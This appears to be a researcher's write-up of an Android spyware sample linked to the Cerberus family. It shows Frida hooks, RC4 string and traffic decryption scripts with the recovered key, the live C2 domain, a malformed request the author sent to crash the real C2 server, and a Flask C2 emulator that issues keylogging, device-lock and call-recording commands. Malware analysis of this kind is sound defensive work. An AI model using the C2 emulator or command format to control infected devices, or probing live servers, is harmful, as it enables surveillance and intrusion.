First, we begin with basic analysis. This involves checking its hash on VirusTotal and extracting hashes using HashMyFile.
Checking on VirusTotal.
After obtaining some hits, it’s time to invest more time in understanding its workings. While we can check for relations on VirusTotal, I prefer to handle the analysis independently from this point onward. Since the file type is apk
, we can utilize jadx-gui
for a more in-depth analysis.
We proceed by checking the native libraries to determine which architecture is supported. In this case, we were fortunate that it supports x86. Therefore, we don’t need to delve into the hassle of emulating other architectures for dynamic analysis.
Checking the Manifest File for entry points and the permissions the app is requesting is crucial for understanding its functionality. Permissions provide hints about the type of activities we can anticipate from the sample. In this case, permissions such as accessing SMS, recording audio, using the camera, accessing location, and reading external storage suggest spyware capabilities once confirmed as malware.
Other noteworthy permissions include writing permission to external storage, indicating a potential for downloading the next stage to obscure file paths to avoid association. This speculation proved true in this case. Post notification permissions may be utilized to lure victims into engaging in nefarious activities. Bluetooth permissions can also be leveraged to discover other available devices nearby.
Before the main function is called, we observe com.cliff.own.KTcMkQrAeSoAqTtWfHlDgHtBwInHdYfLaPiShZsIh
being invoked.
From this point onward, I’ll focus on crucial parts of the analysis. We observe the use of techniques to create strings at runtime. One solution is to copy and paste the Java code provided by JADX, replacing Android native code with Java code. Alternatively, we can hook these functions using Frida to observe the arguments being passed and the values being returned. In this case, it resolves to Android.app.ActivityThread
.
There were strings intended as taunts by the malware author, such as Use the same scan engine, the same virus definition of the world's top commercial antivirus software
.
After spending some time analyzing the code statically, it was discovered that it is dynamically loading classes, which solves the mystery of ru....
. It appears that this method is dynamically loaded from /data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json
. Some hurdles were encountered where certain code seemed to be added merely for distraction. At times, it appears to be doing nothing significant, while other times it performs actions that can be safely ignored, as illustrated in the example below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (find_full_path) {
this.const_int_3246 = (this.const_int_16462 * 44) + 66 + this.const_int_8284;
StringBuffer stringBuffer = new StringBuffer();
for (int i10 = 0; i10 < 5; i10++) {
this.const_int_8284 = ((this.const_int_3246 - 16) + 43) - this.const_int_16462;
}
if (find_full_path) {
wrapper_for_loading_class(full_path_to_hjAWR_json, file_get_absolutePath, stringBuffer, this.context_null); // FEaGuJtZkDePjRpCyMjAgAx.staffhoney is called: field=private java.lang.ClassLoader android.app.LoadedApk.mClassLoader, str=/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json, str2=/data/user/0/com.cliff.own/app_DynamicOptDex, str3=, weakReference=java.lang.ref.WeakReference@e9db828
for (int i11 = 1; i11 < 22; i11++) { // FEaGuJtZkDePjRpCyMjAgAx.staffhoney is called: field=private java.lang.ClassLoader android.app.LoadedApk.mClassLoader, str=/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json, str2=/data/user/0/com.cliff.own/app_DynamicOptDex, str3=, weakReference=java.lang.ref.WeakReference@e9db828
this.const_int_3246 = (-1773) + this.const_int_16462 + this.const_int_8284 + this.const_int_3246;
}
}
// code is clean by me to get some sense of what happening .
After inspecting the path, it was found that the hjAWR.json
file is not a JSON file, as the code hinted. Instead, it turned out to be a zip file containing a classes.dex
file upon unzipping it. Hashes of both hjAWR.json
and classes.dex
files were checked. There were no hits on VirusTotal (VT).
Some of the Frida hook scripts I have utilized up to this juncture, with their outputs provided as comments.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(()=>{let JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq = Java.use("com.cliff.own.JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq");
JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq["middlegravity"].implementation = function (str, context, str2) {
console.log(`JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq.middlegravity is called: str=${str}, context=${context}, str2=${str2}`);
let result = this["middlegravity"](str, context, str2);
console.log(`JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq.middlegravity result=${result}`);
return result;
};
})
OUTPUT ::::
Pixel 3::com.cliff.own ]-> JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq.middlegravity is called: str=/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json, context=android.app.ContextImpl@522362f, str2=hjAWR.json
JUjCsQtEjYlSwRzKkHtGrJfRqThOhBmJcBq.middlegravity result=true
1
2
3
4
5
6
7
8
9
10
11
12
Java.perform(()=>{
let first_func_call = Java.use("com.cliff.own.KTcMkQrAeSoAqTtWfHlDgHtBwInHdYfLaPiShZsIh");
first_func_call["mustready"].implementation = function (str, str2, stringBuffer, context) {
console.log(`first_func_call.mustready is called: str=${str}, str2=${str2}, stringBuffer=${stringBuffer}, context=${context}`);
this["mustready"](str, str2, stringBuffer, context);
};
})
OUTPUT ::::
first_func_call.mustready is called: str=/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json, str2=/data/user/0/com.cliff.own/app_DynamicOptDex, stringBuffer=, context=android.app.ContextImpl@e9db828
1
2
3
4
5
6
7
8
9
10
11
12
Java.perform(()=>{
let FEaGuJtZkDePjRpCyMjAgAx = Java.use("com.cliff.own.FEaGuJtZkDePjRpCyMjAgAx");
FEaGuJtZkDePjRpCyMjAgAx["staffhoney"].implementation = function (field, str, str2, str3, weakReference) {
console.log(`FEaGuJtZkDePjRpCyMjAgAx.staffhoney is called: field=${field}, str=${str}, str2=${str2}, str3=${str3}, weakReference=${weakReference}`);
this["staffhoney"](field, str, str2, str3, weakReference);
};
})
OUTPUT ::::
[Pixel 3::com.cliff.own ]-> FEaGuJtZkDePjRpCyMjAgAx.staffhoney is called: field=private java.lang.ClassLoader android.app.LoadedApk.mClassLoader, str=/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json, str2=/data/user/0/com.cliff.own/app_DynamicOptDex, str3=, weakReference=java.lang.ref.WeakReference@e9db828
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(()=>{
let first_func_call = Java.use("com.cliff.own.KTcMkQrAeSoAqTtWfHlDgHtBwInHdYfLaPiShZsIh");
first_func_call["patchverify"].implementation = function (str) {
console.log(`first_func_call.patchverify is called: str=${str}`);
let result = this["patchverify"](str);
console.log(`first_func_call.patchverify result=${result}`);
return result;
};
})
OUTPUT ::::
[Pixel 3::com.cliff.own ]-> first_func_call.patchverify is called: str=
first_func_call.patchverify result=false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let report_recieveSMSnStartJobs = Java.use("ru.plaintiff.whale.strongFlashClam");
report_recieveSMSnStartJobs["a"].implementation = function (str) {
console.log(`report_recieveSMSnStartJobs.a is called: str=${str}`);
let result = this["a"](str);
console.log(`report_recieveSMSnStartJobs.a result=${result}`);
return result;
};
OUTPUT ::::
# Base64_decode Func
[Pixel 3::com.cliff.own ]-> report_recieveSMSnStartJobs.a is called: str=YnJvYWRjYXN0X3N3aXBlX3RvX3VubG9ja19hY3Rpb24=
report_recieveSMSnStartJobs.a result=broadcast_swipe_to_unlock_action
report_recieveSMSnStartJobs.a is called: str=c3RvcA==
report_recieveSMSnStartJobs.a result=stop
report_recieveSMSnStartJobs.a is called: str=YW5kcm9pZC5pbnRlbnQuYWN0aW9uLlVTRVJfUFJFU0VOVA==
report_recieveSMSnStartJobs.a result=android.intent.action.USER_PRESENT
report_recieveSMSnStartJobs.a is called: str=YW5kcm9pZC5pbnRlbnQuYWN0aW9uLlNDUkVFTl9PRkY=
report_recieveSMSnStartJobs.a result=android.intent.action.SCREEN_OFF
report_recieveSMSnStartJobs.a is called: str=YW5kcm9pZC5pbnRlbnQuYWN0aW9uLlNDUkVFTl9PTg==
report_recieveSMSnStartJobs.a result=android.intent.action.SCREEN_ON
Adding the classes.dex
file in jadx allows us to unlock locked functions 😏 , granting access to previously inaccessible portions of the code. We started with ru.plaintiff.whale.evilRealizeCake
, which is called when the user initially launches the app with the launcher icon. It’s a complete mess initially. After investing more time to make sense of the code, we found ru.plaintiff.whale.h
being referenced repeatedly with some numbers passed to it. It has three methods: b
, a lengthy method with numerous switch statements, and upon returning from this method, a
is called. It invokes c
and several other methods.
In short, the description involves applying a base64 encoding followed by an RC4 decryption routine to resolve strings at runtime, with the RC4 key derived from the provided string. This function proved to be time-consuming. A Java code was written (provided with attachments) to dump all the encrypted strings.
Now, let’s focus on how communication is established, if any. To do so, we installed the app inside Genymotion and started intercepting traffic. We observed a request being made to a domain.
Just to clarify our suspicions, we checked the domain on VirusTotal. We were able to find one more sample associated with this domain, further corroborating our findings.
After installation, I observed a particular behavior. The app renders a fake “Accessibility” page. Upon clicking anywhere on the page, it redirects to the device settings, prompting the user to grant permissions to the app.
The page mentioned above was confirmed to render because the emulator was in Dark mode, while the page rendered in light mode. Additionally, HTML code was found in decoded strings, further supporting this observation.
In this case, the malware author impersonated WhatsApp in the initial rendering of the page. However, during the permission request process, it impersonated Google Chrome, adding another layer of deception to its tactics.
After installing the app and granting permissions, accessing the app details would automatically navigate back to the home screen through repeated back clicks, making it challenging to remove. Despite some attempts, I managed to uninstall the app using the Android UI. However, after rebooting, the app reappeared, indicating persistence mechanisms that are currently unknown.
Let’s examine how the HTTP connection is established. I began by searching for methods related to httpconnection
and POST
, and then cross-referenced them. After some time, I found this code snippet.
Using cross-referencing and unraveling, and subsequently renaming method names, I found the piece of code responsible for the body of the HTTP request.
It’s time to uncover the C2 domain name. This code had me pulling my hair out. The malware author achieved their goal by crafting a string comprised of the decrypted strings (base64 + RC4), MD5 sum, and another decrypted string (base64 + RC4). It formed as follows: http
+ MD5(date) + .xyz
. Initially, I thought the domain name was dynamically generated, sparking the idea that we could expose all future domains that this family might use.
The dynamically generated domain name was of a fixed 32-character size, confirming my theory. I invested significant time in creating a domain name using dynamic analysis. I even tested a newly formed domain name like 572e04c71b52ecd47154544142470f03.xyz
, which returned the same “Forbidden” response as the original domain. However, the response differed for POST requests, leading me to believe it might not be set up currently but could be in the future.
Two questions plagued my mind: first, how is the original domain name generated, and second, is my dynamic theory correct? To address the first question, I even scripted and began brute-forcing all calendar combinations for comparison. As for the second, it may have been intentional or coincidental, but it certainly became a rabbit hole.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib
import socket
def make_number(day,month,year):
i3 = 5
if day >= 10:
if day < 20 and day > 10:
i3 = 15
elif day >20:
i3 = 25
num = int(str(month)+str(i3)+str(year))
num *= 159
return num
def check_domain_existence(domain):
try:
socket.gethostbyname(domain)
return True
except socket.error:
return False
for i in range(12):
for j in range(1,4):
num = str(make_number((9*j),i,2024))
md5sum = hashlib.md5(num.encode('utf-8')).hexdigest()
url = md5sum + ".xyz"
if check_domain_existence(url):
print(url + " exists, month = " + str(i) + " day = " + str(9*j))
1
2
3
4
5
6
7
8
9
import hashlib
blob = "252024"
for i in range(160):
tmp = str(int(blob)*i)
md5sum = hashlib.md5(tmp.encode('utf-8')).hexdigest()
print(f"i :{i} :: mdsum : {md5sum}")
if (md5sum == "1z06mx6i9sdxxh1xaspbj87fh8qy8pu0"):
break;
After carefully explaining the code’s functionality to myself, I realized I made a big mistake. The C2 domain name was being extracted by getSharedPreference_ring0
. All my theories were washed down the drain. It’s frustrating when things don’t go as expected, but understanding the mistake is a crucial part of the learning process 😭 .
It’s time to examine how packet data is encrypted. For this, RC4 encryption with the key E0NX
was used, which was also resolved at runtime. Here’s an example of one of the data packets being sent to the C2.
One interesting behavior was that whenever we attempted to uninstall the app, it would first thwart our efforts by navigating back repeatedly and then send a message to the C2.
One more interesting thing I noticed was that the C2 server backend had its “Debug” mode enabled. When I sent a malformed packet to the server, it crashed, inadvertently leaking the C2 server backend code. Additionally, it also leaked the RC4 key E0NX
. I was able to extract some details from this Missconfiguration.
Malformed Packet
1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Content-Length: 285
Content-Type: application/x-www-form-urlencoded
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 3 Build/QQ1D.200105.002)
Host: 1z06mx6i9sdxxh1xaspbj87fh8qy8pu0.xyz
Connection: close
Accept-Encoding: gzip, deflate, br
data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
After delving deeper, I found another interesting detail: tychef
.
C2 communication can also be hooked using Frida.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Java.perform(()=>{
Java.openClassFile("/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json").load();
let a = Java.use("ru.plaintiff.whale.c$a");
a["doInBackground"].implementation = function (str, str2) {
console.log(`a.doInBackground is called str=${str}, str2=${str2}`);
let result = this["doInBackground"](str, str2);
console.log(`a.doInBackground result=${result}`);
return result;
};
let c = Java.use("ru.plaintiff.whale.c");
c["a"].implementation = function (str, str2) {
console.log(`c.a is called: str=${str}, str2=${str2}`);
let result = this["a"](str, str2);
console.log(`c.a result=${result}`);
return result;
};
})
After all this, it’s time to delve into the functionality of the malware. After googling what getprop ro.miui.ui.version.name
does, I found…
After going through all these links, I found a report by “Cyber Wise” which identified the family as Cerberus. Upon reading it, I discovered a lot of functionalities and similarities, not just in behavior but also in code reuse. Here are some examples:
https://edu.anarcho-copy.org/Against%20Security%20-%20Self%20Security/Cerberus.pdf
cerebrus
Our sample code may be slightly different, but the same functionality was observed using dynamic analysis.
cereberus
Our Sample
cereberus
Our Sample
Also Find this traffic too . It can also part which need more attention.
1
2
3
4
5
GET /+vSpP6RRKB35iM2M0 HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Pixel 3 Build/QQ1D.200105.002)
Host: t.me
Connection: close
Accept-Encoding: gzip, deflate, br
Script to decrypt strings from binary and internet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/python3
import binascii
import hashlib
import base64
def rc4(key, data):
x = 0
box = list(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
x = 0
y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(char ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def decrypting_bin(data):
key = data[:12]
enc_data = data[12:]
print(f"Key :::: {key} ")
print(f"Encrypted data base64 encoded ::::: {enc_data}")
key=bytes(key,'utf-8')
enc_data = base64.b64decode(enc_data).decode('utf-8')
enc_data = bytes.fromhex( enc_data )
decrypted_payload = rc4(key,enc_data)
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Decrypted Data {decrypted_payload} ")
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
return decrypted_payload
def decrypting_net(data):
key = b"E0NX"
enc_data = bytes.fromhex( base64.b64decode(data).decode('utf-8') )
decrypted_payload = rc4(key,enc_data)
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Decrypted Data {decrypted_payload} ")
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
return decrypted_payload
def option_2():
while True:
print("Enter Strings to Decode Or 'Exit' to get Back To Menu ::")
str_1 = input()
if str_1 == 'Exit':
print("Exiting...........")
break
try:
decrypting_bin(str_1)
except Exception as e:
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Error Encounter ::::::: Reason :: {e}")
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
def option_1():
while True:
print("Enter Strings to Decode Or 'Exit' to get Back To Menu ::")
str_1 = input()
if str_1 == 'Exit':
print("Exiting...........")
break
try:
decrypting_net(str_1)
except Exception as e:
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Error Encounter ::::::: Reason :: {e}")
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
while True:
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"1. Network traffic \n2. String inside classes.dex \nOption 1 or 2 ::")
option=input()
if option =='2':
option_2()
elif option =='1':
option_1()
else:
print("Select Correction Option ")
Recreated backend of c2 server only 2 Commands are emulating at this point
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3
import os
from flask import Flask,request
import binascii
import hashlib
import base64
ROOT_PATH = os.environ.get('ROOT_PATH')
app = Flask(__name__)
def rc4(key, data):
x = 0
box = list(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
x = 0
y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(char ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def rc4_hex(key, data):
x = 0
box = list(range(256))
for i in range(256):
x = (x + box[i] + key[i % len(key)]) % 256
box[i], box[x] = box[x], box[i]
x = 0
y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
tmp = hex(char ^ box[(box[x] + box[y]) % 256])[2:]
if len(tmp) == 1:
tmp = '0'+tmp
out.append(tmp)
else :
out.append(tmp)
return ''.join(out)
global_variable_command = ""
global_variable_response = ""
def decrypting_net(data):
key = b"E0NX"
enc_data = bytes.fromhex( base64.b64decode(data).decode('utf-8') )
decrypted_payload = rc4(key,enc_data)
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Decrypted Data {decrypted_payload} ")
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
global_variable_response = dec_payload
return decrypted_payload
def encrypt_res(data):
key = b"E0NX"
enc_rc4 = rc4_hex(key,data.encode('utf-8'))
payload = enc_rc4
print(payload)
payload = base64.b64encode( enc_rc4.encode('utf-8') ).decode('utf-8')
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
print(f"Command responding with ::: {data} " )
print("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
global_variable_command = data
return payload
#Command = '{"this":"device_no_cmd"}' # cmd 1
Command = '{"this":"device_settings#","hideSMS":"1","lockDevice":"1","offSound":"1","keylogger":"1","lock_record":"1","endless_start":"1","it":"1","nt":"1","ci":"","ki":"","record_call":"1","activeInjection":""}' # cmd 2
@app.route('/', methods=['POST'])
def success():
if request.method == 'POST':
enc_payload = request.form.get('data')
try:
dec_payload = decrypting_net(enc_payload)
except Exception as dec_payload:
print(f"Error Encounter ::::::: Reason :: {dec_payload}")
send_payload = encrypt_res(Command)
print(send_payload)
filename = "Logging_response_from_malware"
with open(filename, "a") as f:
f.write("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+")
f.write(f"Command responding with :::\n" )
f.write(global_variable_command )
f.write("\n+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n")
f.write("+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n")
f.write(global_variable_response )
f.write("\n+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n")
return f'{send_payload}'
app.run(port=80,debug=True)
After responding to the beacon with the configuration enabling the lock device option, it locks the machine and won’t let you use it.
If the PIN is enabled and the C2 configuration responds with {“lock_record”:”1”}, which is enabled by default, on the c2 infra , after attempting to uninstall it, the operator will be alerted about the attempt, and at the same time, the PIN will be sent to the operator. A major flaw I observed is that it will send all entries of the PIN given to the lock screen, which means the malware does not differentiate between the wrong and correct PIN.
frida script that hooks function which will be parsing c2 config response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Java.perform(()=>{
Java.openClassFile("/data/user/0/com.cliff.own/app_DynamicOptDex/hjAWR.json").load();
let j = Java.use("ru.plaintiff.whale.j");
j["r"].implementation = function (context, str, str2, str3) {
console.log(`j.sendin_id_drt_lg_send_sms is called: context=${context}, str=${str}, str2=${str2}, str3=${str3}`);
let result = this["r"](context, str, str2, str3);
console.log(`j.sendin_id_drt_lg_send_sms result=${result}`);
return result;
};
});
j.sendin_id_drt_lg_send_sms is called: context=ru.plaintiff.whale.wantingChooseVoice@b42996a, str=Blocked attempt to disable accessibility service[143523#]Blocked attempt to disable accessibility service[143523#]Blocked attempt to disable accessibility service[143523#]Blocked attempt to disable accessibility service[143523#], str2=7qlz-emc0-re1z-ymv5, str3=saved_data_device&
j.sendin_id_drt_lg_send_sms result={"this":"device_settings#","hideSMS":"0","lockDevice":"0","offSound":"0","keylogger":"0","lock_record":"1","endless_start":"0","it":"0","nt":"0","ci":"","ki":"","record_call":"0","activeInjection":""}
this frida script is responsible for recording movement on screen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
let abortiveSendChin = Java.use("ru.plaintiff.whale.abortiveSendChin");
abortiveSendChin["j"].implementation = function (str, accessibilityEvent) {
console.log(`abortiveSendChin.j is called: str=${str}, accessibilityEvent=${accessibilityEvent}`);
this["j"](str, accessibilityEvent);
};
Text: ---> box consists of button press
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 6665820; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: [CONTENT_CHANGE_TYPE_SUBTREE, CONTENT_CHANGE_TYPE_TEXT, CONTENT_CHANGE_TYPE_CONTENT_DESCRIPTION]; WindowChangeTypes: [] [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
+---------------------------------------------------------------------------------------------------------------------------------------------------------+
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 6844438; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022; FromIndex: 1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 6844463; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [TUV, 8]; ContentDescription: 8; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 6844817; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: [CONTENT_CHANGE_TYPE_SUBTREE, CONTENT_CHANGE_TYPE_TEXT, CONTENT_CHANGE_TYPE_CONTENT_DESCRIPTION]; WindowChangeTypes: [] [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 6846871; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022; FromIndex: 2; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 6846871; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [TUV, 8]; ContentDescription: 8; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 6849213; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022; FromIndex: 3; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 6849214; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [TUV, 8]; ContentDescription: 8; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_WINDOW_CONTENT_CHANGED; EventTime: 6849742; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: [CONTENT_CHANGE_TYPE_SUBTREE, CONTENT_CHANGE_TYPE_TEXT]; WindowChangeTypes: [] [ ClassName: android.widget.FrameLayout; Text: []; ContentDescription: null; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_TEXT_CHANGED; EventTime: 6851309; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.widget.EditText; Text: [\u2022\u2022\u2022\u2022\u2022]; ContentDescription: PIN area; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: true; Checked: false; FullScreen: false; Scrollable: false; BeforeText: \u2022\u2022\u2022\u2022; FromIndex: 4; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: 1; RemovedCount: 0; ParcelableData: null ]; recordCount: 0
abortiveSendChin.j is called: str=com.android.systemui, accessibilityEvent=EventType: TYPE_VIEW_CLICKED; EventTime: 6851311; PackageName: com.android.systemui; MovementGranularity: 0; Action: 0; ContentChangeTypes: []; WindowChangeTypes: [] [ ClassName: android.view.ViewGroup; Text: [1]; ContentDescription: 1; ItemCount: -1; CurrentItemIndex: -1; Enabled: true; Password: false; Checked: false; FullScreen: false; Scrollable: false; BeforeText: null; FromIndex: -1; ToIndex: -1; ScrollX: -1; ScrollY: -1; MaxScrollX: -1; MaxScrollY: -1; AddedCount: -1; RemovedCount: -1; ParcelableData: null ]; recordCount: 0
+=========================================================================================================================================================+
